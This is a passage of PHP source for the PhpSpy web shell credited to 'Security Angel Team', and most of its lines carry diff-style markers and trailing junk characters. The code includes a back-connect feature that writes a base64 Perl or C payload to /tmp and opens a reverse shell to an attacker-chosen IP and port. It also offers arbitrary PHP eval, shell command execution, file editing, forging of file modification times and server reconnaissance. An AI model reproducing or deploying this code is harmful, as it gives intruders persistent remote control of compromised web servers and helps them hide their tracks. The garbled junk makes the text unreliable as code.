( \2 K b# k- y+ R- b7 M - "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";6 p, f; k$ F" T. c8 A, w
- if ($start && $yourip && $yourport && $use){
( O9 O. M5 c' C$ r9 W - if ($use == 'perl') {
; Q9 j- S: R% q1 C6 J - cf('/tmp/angel_bc',$back_connect);$ z2 ?. B/ c5 ^+ A+ ~$ G
- $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");- u+ _9 z2 E$ m9 e' v
- } else {
& C0 Q: G( O6 D - cf('/tmp/angel_bc.c',$back_connect_c);6 D; Z: {/ `4 A
- $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');) m0 B' \+ [* Q9 R$ b2 d
- @unlink('/tmp/angel_bc.c');
% X: j3 h+ i$ G* @1 v4 u - $res = execute("/tmp/angel_bc $yourip $yourport &");
8 Z# b, v0 n+ A0 h6 y6 P - }
7 T4 _) H B2 @* S U2 ~ - m("Now script try connect to $yourip port $yourport ...");
1 n' S. s1 d% q - } S1 t4 _8 s3 c: z. q7 C a" ~
- formhead(array('title'=>'Back Connect'));) ?$ a; \2 l$ t$ ~3 m
- makehide('action','backconnect');8 d$ d7 Q& J* q* w% g; Z
- p('<p>');! F- c& f5 ^& E% } c! M& F
- p('Your IP:');6 S7 x0 t4 Y' x+ \7 }7 t
- makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));1 O8 g9 A7 H1 [& E& }! |
- p('Your Port:');
6 b$ d* [. U7 Q - makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));( V4 j( X9 `% |
- p('Use:');
! F5 Y/ L# E# `" O" s6 O, ` - makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
+ p/ u- X' u6 Y - makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));4 D" ~5 N3 O- M0 C W
- p('</p>');
* p6 Q1 o, J2 V/ G - formfoot();
4 z- d( ^7 O. ^ - }//end sql backup
4 Z; w% ?7 |4 y4 u* b4 K - elseif ($action == 'eval') {
5 Z7 y# b8 p/ L6 Z - $phpcode = trim($phpcode);- W4 i `2 \0 G( n$ l+ m3 Y" M
- if($phpcode){
$ l, G3 S( } k" {8 m4 |+ M5 R - if (!preg_match('#<\?#si', $phpcode)) { q+ d+ z/ a6 ], n% ^1 Z
- $phpcode = "<?php\n\n{$phpcode}\n\n?>";# d% a; v: S/ g! Q, W
- }% O7 ^+ O# H1 k- j! d) `2 P
- eval("?".">$phpcode<?");
% k% [0 b" D; Y' l$ ]* E - }9 }0 B, ~: v9 q9 ]. g! ~
- formhead(array('title'=>'Eval PHP Code'));
+ b/ O4 `" e" q3 `, \ - makehide('action','eval');
% H: n% }& U) m% D' P9 q3 R6 x - maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
( J( h( M# q% ~0 O - p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
9 [6 H- O# B& B( T; Q - formfooter();" t4 g' U9 T! o+ J; I+ z
- }//end eval
, j2 F; p6 N1 ^ -
3 I( V) n0 N9 P9 i8 ] E8 g - elseif ($action == 'editfile') {: \+ e3 n9 `& D: ~
- if(file_exists($opfile)) {
5 Y( x3 t0 o- x& }3 Y - $fp=@fopen($opfile,'r');. F7 ] z6 F, i' N
- $contents=@fread($fp, filesize($opfile));% J' r0 |$ V2 l" M& ` X) w
- @fclose($fp);) E8 [) w3 o5 Q1 p
- $contents=htmlspecialchars($contents);
- E) c7 c! A# V* k r9 R* U$ s - }$ `+ n) R" z# I6 A, j2 p" B: f
- formhead(array('title'=>'Create / Edit File'));# K' \* w6 g; a
- makehide('action','file');4 m6 D4 q* s7 D _) P
- makehide('dir',$nowpath);
; v/ d* G# a3 L8 u - makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));4 v4 h4 f7 I- x5 d
- maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
/ A, S1 z4 u4 F: i; w6 r - formfooter();' R$ z6 e6 ~( _6 g3 {% }( ]! w
- }//end editfile
0 j+ s8 q$ E+ p$ L, Y( p& I1 U0 @" d -
2 b1 x$ O+ f% B1 D8 T+ N - elseif ($action == 'newtime') {
& U, B, e! q, u% @' G - $opfilemtime = @filemtime($opfile);
% n& S6 R" S- o$ u& \$ y - //$time = strtotime("$year-$month-$day $hour:$minute:$second");1 l+ n: D* k3 e- Q z
- $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
8 J; a4 h8 D F: c - formhead(array('title'=>'Clone file was last modified time'));6 k* s Q } c: y* g. Y( g
- makehide('action','file');
# U) {- ~$ z: c; i - makehide('dir',$nowpath);5 B, S f. G( ~* T' ?
- makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));0 A% f( y6 C2 C1 s3 s
- makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
: p" x8 H3 o" @ P - formfooter();& N$ ]5 N6 l4 u# Z' K! a
- formhead(array('title'=>'Set last modified'));$ I3 c! l& i ^+ B% s3 f
- makehide('action','file');
X8 g; [/ k7 N6 N5 N+ i% Q+ S - makehide('dir',$nowpath);
5 I% P% a0 s) \/ u - makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));$ w( J, o8 r( m: `
- p('<p>Instead »');1 i* L4 q( ?& _3 J/ F
- p('year:');' e* _1 e& t: N2 P* }$ P% }
- makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));- l2 f# U2 d5 f5 y8 K
- p('month:');3 b. G8 S4 c2 v: c7 s
- makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));% r7 O9 _5 [1 o3 T: Y
- p('day:');: O) G2 N1 d& r+ D
- makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
0 _' o; S5 f4 Z( i* t - p('hour:');
# \' h0 w& Y0 |" h3 e: ?* S - makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
7 x) x) j% }: Q - p('minute:');
0 L M" T! l5 F- k0 y0 u- R) ~ - makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
" |" d3 Q0 @. \1 q - p('second:');
) S$ D) E2 N( u% j1 _3 v - makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
- ]4 u, R. q6 M - p('</p>');0 ]0 s2 |4 A% k0 w. l# X
- formfooter();
6 M( u2 d7 N; E# n7 o, w# x - }//end newtime
1 d2 H+ Q+ L3 a, N+ M - X1 |" ]7 P3 p( m( g8 W( K
- elseif ($action == 'shell') {; C6 l* `+ D7 k: a
- if (IS_WIN && IS_COM) {
4 c! C( Q3 D7 z1 R9 o! J) u - if($program && $parameter) {
4 G) w9 \" A7 Y/ W* H - $shell= new COM('Shell.Application');+ t( @5 I3 }8 \6 C7 b+ P2 L
- $a = $shell->ShellExecute($program,$parameter);
: F- t2 o. U+ B - m('Program run has '.(!$a ? 'success' : 'fail'));
/ s0 {: Z* V) o0 ?2 }0 w$ \ - }( K) p n' V, Q+ ~
- !$program && $program = 'c:\windows\system32\cmd.exe';
- l5 W2 \' l, G. z" M. E" u- n - !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';* I. K8 C$ X6 j* P0 M) X: ~& R& z
- formhead(array('title'=>'Execute Program'));
% b1 K- {) e. `* \# I, ]5 `* X - makehide('action','shell');
6 m4 v5 O4 @! `1 u s2 p! _ - makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
2 ^- Y: k% [3 j! ] - p('<p>');
4 w+ @+ P6 w! ^+ g! F9 ~4 u2 F - makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
2 I" C! r$ p* ? E. G& V5 t1 P - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
0 K0 a0 F+ c$ @) Y9 G( E& T- \) K/ ? - p('</p>');0 K- Q' A2 z$ Q4 j/ j
- formfoot();+ I2 |+ q3 U$ J7 p
- }* R( ~2 P3 d b) X9 i I& O
- formhead(array('title'=>'Execute Command'));
+ C) ]$ s# x- J! p$ K - makehide('action','shell');' L# i) T x( R/ j5 X5 x, d) L
- if (IS_WIN && IS_COM) {
4 x. G- @& X% b$ ^1 e1 b+ `" Q - $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
" o$ K8 @# @2 {: | - makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
' @; Z% u6 c7 n, [0 l# N - }3 _6 s1 [4 w5 W% w0 R0 l; x+ I
- p('<p>');
( t3 a6 P& P- |0 K* i4 m; U - makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
! [4 R. E- h! K( L- M - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
! V( Q( H3 k- P y9 b8 t' { - p('</p>');" ?' F( L0 y* h: e6 U/ N) E) B- I
- formfoot();* S3 Y# R5 R( p! Y
- - l0 [3 H' r3 x+ U2 I% Z
- if ($command) {
% q9 D' t7 q/ [6 Y - p('<hr width="100%" noshade /><pre>');
, F$ @ Z3 u7 t4 `1 Y4 m' N - if ($execfunc=='wscript' && IS_WIN && IS_COM) {
% x \7 m# x0 V# | - $wsh = new COM('WScript.shell');, R* l$ s$ |0 s4 C
- $exec = $wsh->exec('cmd.exe /c '.$command);) u" P8 Z0 I0 ]6 J+ i& j6 S
- $stdout = $exec->StdOut();
6 x v, N. P6 _ - $stroutput = $stdout->ReadAll();- A6 {5 p+ b0 o4 I# Z$ G
- echo $stroutput;
/ M/ |- O' C, ^5 E5 C" ]# T( K - } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
/ }( \7 c5 Z# c* p) T9 S0 Z - $descriptorspec = array(
' H# b' y6 h9 O7 K( ^; T! g# i - 0 => array('pipe', 'r'),
# P3 S- b# g2 b n" Z - 1 => array('pipe', 'w'),/ R* x, n" ^7 H5 A
- 2 => array('pipe', 'w')
+ j4 P! y- L& \, b% b2 `* ] - );
9 N' M; _: W/ K' ]4 H) C3 g - $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
$ `' I: @, M" S( l7 v) H0 \ - if (is_resource($process)) {
/ a' w8 q1 M: z4 G3 n \' _ - fwrite($pipes[0], $command."\r\n");
# }+ G. C$ o6 Y- F, [2 S# v3 T - fwrite($pipes[0], "exit\r\n");
: Y- Q: o; n0 L) D7 _4 l, H) g - fclose($pipes[0]);" B" t* x7 I4 N: k* T
- while (!feof($pipes[1])) {
. N8 d% ?- Z2 n! X5 E - echo fgets($pipes[1], 1024);! |1 A- E/ h/ b
- }0 @1 o- y0 k* @. }/ ~
- fclose($pipes[1]);; {1 j! s0 g7 r! r0 [
- while (!feof($pipes[2])) {
' M/ `' x8 f& B4 p2 W - echo fgets($pipes[2], 1024);
% ~ ?* w' Y( z3 d; Z - }
9 W! W. x+ j! J) Q - fclose($pipes[2]);8 q$ x3 A0 x0 u7 {) i# c/ a! l% g
- proc_close($process);( m' d% D% m" s& j! q
- }
3 @& W& P* I& T; m# O, w! M5 s - } else {
4 Z6 o; D H7 x. @/ g. Y - echo(execute($command));7 R* B' G* L0 P' v4 Q
- }" K* n* V# l2 ?& U
- p('</pre>');
' d! X6 R$ m q( K) o - }5 k) I8 {2 d9 B( A& s% n
- }//end shell
" T+ d a: g. G -
7 }1 K) N6 F% ?. F7 a& ? - elseif ($action == 'phpenv') {. {$ h, a8 S/ n8 x4 U3 X- S: n3 D
- $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';1 |! Q$ F% E# k; l
- $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');. w! E0 m6 e Q# |+ \* z
- !$dis_func && $dis_func = 'No';
) ]# c5 n9 O, a( T2 A$ h - $info = array(4 v9 ]' D! U* S$ s& x4 J
- 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)), T7 S6 W! ?' H- d- b
- 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
+ U: {9 U) X; K* W9 ]) D - 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),9 Z, N# H) b2 x9 z3 F
- 4 => array('Server OS',PHP_OS),
4 N+ {9 z- A( m/ b* O - 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
# k0 {0 m. d8 A - 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),3 l3 ?. F# o# O+ ?
- 7 => array('Server Web Port',$_SERVER['SERVER_PORT'])," T0 h- K5 [ V& m O; D
- 8 => array('PHP run mode',strtoupper(php_sapi_name())),
6 K7 ]/ @- l* v! g3 n; ]' ] - 9 => array('The file path',__FILE__),* X- I0 V Q: E- q* h; Q
- & O1 k8 d- d9 k2 v- `7 c
- 10 => array('PHP Version',PHP_VERSION),! W9 R' x. d a$ ]0 Z3 x
- 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
1 O8 G+ m3 @2 Q0 M, d. f9 J - 12 => array('Safe Mode',getcfg('safe_mode')),
- J7 y; @' n3 \, Q4 f. y - 13 => array('Administrator',$adminmail),
# l. ]. h7 s5 H: `" m - 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
; |1 l, w c1 c( c- v3 ], o, ] - 15 => array('enable_dl',getcfg('enable_dl')),
$ I( i6 P( s, q" n, X# X. b - 16 => array('display_errors',getcfg('display_errors')),& W$ t# N; Z7 W8 e
- 17 => array('register_globals',getcfg('register_globals')),
% V% D6 g4 o4 x, S" D3 m4 ] - 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),3 x8 ?0 k: k" |4 m+ e# u0 K/ |& |
- 19 => array('memory_limit',getcfg('memory_limit')),1 [/ q+ E V6 I- k5 a
- 20 => array('post_max_size',getcfg('post_max_size')),
9 H ?$ _+ Q0 \$ q - 21 => array('upload_max_filesize',$upsize),9 }# p1 q& M( P) C T, F, ~3 M
- 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),) `- c- [, R3 U+ R% ~
- 23 => array('disable_functions',$dis_func),6 [$ e+ k( i% T1 ]& Z
- );+ e/ w* J5 E! Z: V* `) b, \
- ; {6 v2 D' U6 S% q# l! h; a; q
- if($phpvarname) {, m# H# j( E+ a
- m($phpvarname .' : '.getcfg($phpvarname));
A0 J- |1 |2 B7 h. Y2 c - }
5 e h! r8 T+ o -
$ d8 t4 W+ n! S4 A( J2 A. w2 L7 `. ]+ ~' Q - formhead(array('title'=>'Server environment')); h6 S* F9 c2 C9 n1 l
- makehide('action','phpenv');
) c) p1 Q% ?4 A3 ]$ z/ | - makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
: y" P3 l; x/ J: Y0 c - formfooter();3 G% G* E& b' ^) F+ a# [6 K5 v: w
- 3 p- M& k7 q2 d
- $hp = array(0=> 'Server', 1=> 'PHP');4 F* K+ T& a& X" I# Q, \: i
- for($a=0;$a<2;$a++) {* m N5 A7 G1 h
- p('<h2>'.$hp[$a].' »</h2>');
: z4 ?, ^) I$ v) H6 e }& _* c/ g - p('<ul class="info">');" \5 g# _6 P! g# R& N
- if ($a==0) {7 E* G4 }) h/ m9 K) \: W: e
- for($i=1;$i<=9;$i++) {. C: g: } Z/ d) h8 ^) G x
- p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');: P; b8 r1 a% D% O
- }& b1 g: L" G a6 V; o0 [
- } elseif ($a == 1) {
) X) T' ~, A# T) N6 o) k - for($i=10;$i<=23;$i++) {0 y$ f+ o3 G& ?2 T
- p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');+ `% i( ]+ v. ^3 @
- }
( o6 W, o' e1 ~* [( _5 w) P - }
. e; G3 ~: a9 L( j+ O" O! |5 J - p('</ul>');
2 X+ c0 G% ~. f. G/ N8 {* I0 ` - }
5 y' Y! v& Q* J# U7 T. T - }//end phpenv
; J; \! f; o) N- g- x - * X3 J8 e |" T# m7 x3 Z
- else {; j+ W5 w1 j0 H, Z% G
- m('Undefined Action');6 S- p* ]& M( ?7 g0 [2 m" g
- }1 H" g/ f- J& D' }! W
- & n; X3 y% s& ], N, v$ s0 I
- ?>
5 P$ M- F% g* L1 |5 ?' y0 I - </td></tr></table>+ S7 R4 G& p4 ]9 I$ z
- <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">: B( v- s1 P1 \) M+ h' A
- <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
7 }! `& N, I9 p6 ~% e- I/ Y6 I) s - Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved., r/ A( ?# D' w9 A1 s2 F; f. A6 ~$ X
- </div>* t3 r, A; E" h1 s9 _6 q, _
- </body>
$ G/ R' ^3 W8 h - </html>) m) L. v2 b+ W# ]) K
- 3 l' q8 J) C( J' n4 T6 ?/ h9 B% Q- s
- <?php
0 W+ x' d4 }* r- ^% s - : e, b# w" Z, M& ^* t
- /*======================================================3 Z! q5 f) U4 J0 `4 Y0 E( U8 c
- 函数库3 }" i' S8 I- z" s8 }5 V0 f
- ======================================================*/# I- g# N8 [- N3 C
- - F: d, w: v# \' B' @; L5 e
- function m($msg) {! P. S! {/ ]1 v6 p8 @5 \
- echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
9 z/ |& s3 R6 l - echo $msg;
) _+ u9 P3 c& J) j5 O) S5 H - echo '</div>';5 ]% ]5 `: q f: J9 {3 o b& m
- }: s7 }4 _) ]& I& i/ l W
- function scookie($key, $value, $life = 0, $prefix = 1) {
4 R! u! F7 K/ N. h+ i - global $admin, $timestamp, $_SERVER;
4 o9 {1 }( T; a8 k# o3 |/ j - $key = ($prefix ? $admin['cookiepre'] : '').$key;
+ Q+ i* L6 i2 `5 X - $life = $life ? $life : $admin['cookielife'];
9 u& G: G6 t/ j - $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;4 F9 L: h6 o2 y. e
- setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
! U# C# K8 Z) P4 {! K( X - } + F$ V n+ D) J% q! y$ V
- function multi($num, $perpage, $curpage, $tablename) {. g" Y3 D5 g4 f- I
- $multipage = '';: d. k; m/ j" C% C5 o1 W; ^4 @
- if($num > $perpage) {
1 Y; f4 ^0 Z6 u5 v - $page = 10;
- x" n3 D4 b: I7 \ - $offset = 5;
% r1 B5 x. I% n$ A, [# A* y - $pages = @ceil($num / $perpage);
1 m" ?8 Z0 X. ^! F( f7 H& o4 r# s - if($page > $pages) {! K# D8 T3 R- ?+ H
- $from = 1;
, }8 ^6 M. k. Q* ?2 t) U - $to = $pages;
3 z, a* n5 X6 \( p! b - } else {# x- w2 j0 y7 k
- $from = $curpage - $offset;
J7 I% }- C, w7 L. p: M! p' E - $to = $curpage + $page - $offset - 1;! m! ?& Q5 j- F! \ y4 G
- if($from < 1) {& \! {3 W% q7 h" P- L
- $to = $curpage + 1 - $from;' d, y6 ~% ~9 d5 h% l$ }+ m( {# X' ~
- $from = 1;
0 U; O6 b% a4 G& c - if(($to - $from) < $page && ($to - $from) < $pages) {
9 Z( a( m! a" k& S% R - $to = $page;" L1 G! i. z0 T
- }; f5 R# a5 [4 ~! @
- } elseif($to > $pages) {3 h- ?, K3 G E4 i F1 I1 _8 y0 w8 ^
- $from = $curpage - $pages + $to;" ?" }. K# r7 U6 o/ v
- $to = $pages;
9 d. H1 |% c: m7 [ - if(($to - $from) < $page && ($to - $from) < $pages) {
1 k" ?: |& H! y1 N; X8 o, Y - $from = $pages - $page + 1;
5 O$ N- W, }2 u* y+ v. o9 p - }
/ k1 V- a# H8 M9 t2 d! j' @9 G- | - }
6 s4 ], O; p9 @ - }4 l8 n0 Y' ~5 U! o7 U- Y3 {
- $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');& N( v9 Z3 X8 r7 H4 }1 Z" k2 M9 W
- for($i = $from; $i <= $to; $i++) {
$ b! L5 V- S4 x- E, }- b. m" [ - $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
" Q' Y1 { f$ A V7 L4 X& K% } - }! K9 M, k e) O& b
- $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');8 i4 o& { z- m0 T
- $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
9 d* ~% X+ m' m - }
4 \3 `5 p+ L. j; U# A u4 n3 Y - return $multipage;
' V! m. X" G: |5 ? - }
/ l* O5 v* n3 R - // 登陆入口
; N/ x$ v) r9 Y/ ~ - function loginpage() {
% t1 q: m- o) T' d. E - ?>+ C) t9 N7 m& r- X& b5 H
- <style type="text/css">
9 w1 }" ]4 U+ n. M - input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}! s- o! D5 S( V, ?, l/ |; V4 D
- </style>3 d/ v* ^+ {) D+ Z9 R! h
- <form method="POST" action="">
" B+ S+ V& D) m" F. I0 N& \ - <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
' V @* T1 M1 I1 T8 r% t - <input type="hidden" name="doing" value="login">
, p$ N; j# {5 D1 M; ~0 E0 | - <input type="submit" value="Login">. ], C" p3 f* ~' _* Q
- </form>, H U9 Y% n7 g; v
- <?php- [& n1 z8 e" I D% H
- exit;- H$ u) |6 C1 l* ]& B
- }//end loginpage()
( U% [) J# x; m) J5 i0 u - 7 r: ?! c* y z. Z, A
- function execute($cfe) {$ F! w6 \% g% _. @0 h2 V7 l1 V8 f
- $res = '';
4 o- W0 D. e" b/ g# S) B3 y9 G - if ($cfe) {
' _7 X% ]7 p# V - if(function_exists('exec')) {8 d! v; l! B- a, j9 d! M' |) S
- @exec($cfe,$res);
6 {% t- f: ?- ?7 h# K% Q" J - $res = join("\n",$res);
3 H; N; D* K" M* ^ - } elseif(function_exists('shell_exec')) {
7 o. @$ P% P) q% ]. R0 c# D4 @: |- t - $res = @shell_exec($cfe);5 Q6 `9 T5 c4 D) ^8 A" k( ~
- } elseif(function_exists('system')) {/ @& [; ~7 n. d. u+ N
- @ob_start();) r. L" Q( O5 y0 l( S# \
- @system($cfe);! C7 O$ j) u$ K7 ?
- $res = @ob_get_contents();5 O1 H, j& B& U$ V' x9 J. U
- @ob_end_clean();2 w( Z+ z+ ]$ p) I! ?
- } elseif(function_exists('passthru')) {3 {8 J' q P. f& Z+ j, W
- @ob_start();! n4 |1 f: h2 K B2 |. S& C
- @passthru($cfe);: h3 O+ t u, C1 j9 a! k1 E
- $res = @ob_get_contents();; ]+ K2 x3 u" i4 T0 E
- @ob_end_clean();& h: ^, ? {1 B
- } elseif(@is_resource($f = @popen($cfe,"r"))) {
) j- d6 k$ n1 L% a: w& e' ] - $res = '';: r) I" l( U/ t8 c
- while(!@feof($f)) {
0 c2 P2 G7 @, k! b6 a. T - $res .= @fread($f,1024);
5 g4 a5 W$ T. y% t- z) |7 L: \ - }. z: d' L5 }* p2 ~1 k- j
- @pclose($f);' b+ x- q$ ?% J8 _2 b1 ~4 ^' m7 h. O
- }
- |' |+ p2 ^& l. P3 h. M9 T - }5 K* n; t& G3 [# O6 L
- return $res;
3 f3 X" I' K0 J( _; a; ` - }
2 Y. |8 P+ w5 w$ ` - function which($pr) {; l6 R* G! r: n* n" T8 c- N; h
- $path = execute("which $pr");+ r( k! |% V1 v! e% ^* G3 u: u
- return ($path ? $path : $pr); & w8 r# [: w9 I, ?9 Z/ ]
- }
- |$ S7 w- k& p) A) U6 L -
! A) x0 L6 t L - function cf($fname,$text){
) y0 | l) a) j1 m6 t& I) k9 R - if($fp=@fopen($fname,'w')) {
$ a* E6 R" M! r3 d - @fputs($fp,@base64_decode($text));' N6 Q) _' e" ~. s2 p, N5 [
- @fclose($fp);+ G8 V& x5 W) ^" l# u0 m; g) y. ]
- }1 d/ ]3 \! |* G0 K. z2 Q/ N( j
- }
4 k( t1 E( F1 E: I0 I6 N - . {0 P# J: c" o6 w7 U
- // 页面调试信息
( N% y$ |' w) m B - function debuginfo() {1 `7 R$ |) m& Q/ `
- global $starttime;
. D; s, g" R* S$ F% B - $mtime = explode(' ', microtime());/ g: E; S7 j! _8 K
- $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
0 l3 J4 `- t: p6 J2 u; r - echo 'Processed in '.$totaltime.' second(s)';
4 G3 y- n& q6 P( Z8 @# j - }
/ g$ p* e, z. Y) S D: Z: o - # S. Q6 [( O2 ? U
- //连接数据库# |$ g J* W6 n5 I
- function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {5 K! n+ ~+ v7 m/ Y! |! m+ e5 U
- if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
& w% E& A7 J) }7 H" e: k - p('<h2>Can not connect to MySQL server</h2>');
V9 j) D1 H0 a0 D, }5 F } - exit;
1 h5 p6 v* ~2 x9 g - }
b5 a6 |8 ]4 Z% F- Z- a - if($link && $dbname) {
1 S4 n6 t4 L$ W - if (!@mysql_select_db($dbname, $link)) {" Y9 d9 L, A( a; M- {& D
- p('<h2>Database selected has error</h2>');/ K8 o% x; W% O! ?3 s
- exit;
* c' b6 w$ B8 s' O1 U1 u# u6 P4 B - }
; n; j5 x, k$ D - }
$ Z: w, X3 R0 S* t, S - if($link && mysql_get_server_info() > '4.1') {9 w5 }' ?9 P$ b$ s0 ?- `
- if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {* ?) ?: w+ f2 L$ }* u8 M
- q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
* E- x$ Q* O1 ?' Q - }( R. H1 F* i0 `! |
- }
! }( ]* j% N H, G7 G) t7 [ - return $link;& ^* X6 M9 ^" A. ]% z& e2 M& F2 Z( t
- }& v7 Z$ {* }6 n
- ; ~7 O' f; `, Q" O$ K/ Z5 m5 L
- // 去掉转义字符6 _) C7 q2 R' P7 b
- function s_array(&$array) {- Y' ?9 |! y* U. h# f3 H5 R5 I
- if (is_array($array)) {
0 O/ l$ A3 K* D+ B! e: a/ R - foreach ($array as $k => $v) {
! b' H8 V2 |( S - $array[$k] = s_array($v);( |- b9 B+ x8 t9 ]+ r$ A M4 Q# w
- }
5 a* E1 B. o+ ~# t) S( \/ v - } else if (is_string($array)) {
' l4 L4 q" ], I1 [ - $array = stripslashes($array);/ `) m- ?& `5 K8 X! }' J; Z! ]
- }1 w! M# a/ z& m/ |. y9 @+ l3 c
- return $array;0 V. u p5 |$ S0 R: Q0 N
- }4 \3 R2 D5 M, q h- `
-
2 c& f% i L N1 h - // 清除HTML代码
7 a4 g' F- X3 b0 A) d; l, R, x" W - function html_clean($content) {
$ y% B, T: t% k - $content = htmlspecialchars($content);
/ s7 u' F2 o5 {4 i6 K0 ` - $content = str_replace("\n", "<br />", $content);
2 T- D/ j5 A- R% B3 e5 r* V. A# L - $content = str_replace(" ", " ", $content);/ B. \& u" \. G
- $content = str_replace("\t", " ", $content);
. j# e$ G! V# d* a - return $content;( O v' y9 W5 |, [
- }
" Z$ D- @% C$ I# t - 7 w+ s4 K; f' S6 x
- // 获取权限2 X+ u- X7 @! C' s3 J- r* D
- function getChmod($filepath){0 }/ t$ ~9 W# }( J) \& R! Z5 D$ ?
- return substr(base_convert(@fileperms($filepath),10,8),-4);
: V9 s: h- q- N7 z$ D1 Y. o - }
8 w- ^+ s/ k/ M: ?! g. v" T - {: h* g5 f h* _- N# Q( w
- function getPerms($filepath) {) E& k' Z) ^% m% S- z y; k
- $mode = @fileperms($filepath);
5 a2 a, t' W, o9 y - if (($mode & 0xC000) === 0xC000) {$type = 's';} u( q/ G$ o% ^! S4 T) g
- elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
2 q1 q0 d: j- J) i0 D, y) | - elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
: |3 q5 |( n# z0 @, T* q - elseif (($mode & 0x8000) === 0x8000) {$type = '-';} / |4 Z \( L5 P6 u) w+ P
- elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}( m( Q% w& }$ T" w
- elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
; i3 H$ G3 ?+ d/ w% n8 P! _+ h - elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}1 a: e. j l; E
- else {$type = '?';}9 p9 C) G1 z9 t& I
- - o& L7 g* G2 ?, E3 \, |- o
- $owner['read'] = ($mode & 00400) ? 'r' : '-'; / i8 k6 G3 O6 e3 {/ E4 p
- $owner['write'] = ($mode & 00200) ? 'w' : '-';
4 \8 G3 F- j# {/ P( O - $owner['execute'] = ($mode & 00100) ? 'x' : '-'; + ], ?( n& ~* X. R' f
